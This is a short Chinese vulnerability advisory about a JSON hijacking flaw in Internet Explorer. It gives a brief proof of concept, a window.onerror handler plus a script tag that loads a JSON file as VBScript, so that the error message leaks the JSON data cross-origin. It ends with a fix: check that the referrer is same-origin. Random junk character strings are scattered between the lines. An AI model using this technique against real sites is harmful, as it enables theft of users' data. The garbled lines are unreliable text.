IE通用JSON劫持漏洞

admin

简要描述：
' @; a9 m: g# }+ S  I" Q. |: W
2 u/ j( A. ]  \# ^" x4 f由于某些资源容器对数据处理不当导致json劫持漏洞.
详细说明：
由于ie支持vbscript,所以script元素可以指定成vbscript语言:
8 W; w( R$ s6 B# J<script language=vbscript></script>
/ X4 B5 ^  ]  n$ z" I- y, L
当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.
漏洞证明：
<script>
window.onerror=function(_){
alert(_)
}
1 E; s0 \1 [8 V</script>
<script language=vbscript src=1.json></script>
$ L7 A! }! F  j; H  O

* Q, m, O# j3 ]1.json:
9 W; y9 h! X2 c: N0 D[{"name":"sogili","age":19}]
  j4 z6 I6 m6 n( k; V( x# U修复方案：
: z; }" d) d; G$ }+ e! F0 o( U; b网站业务对于这个问题可以通过验证referrer是否为同源来防御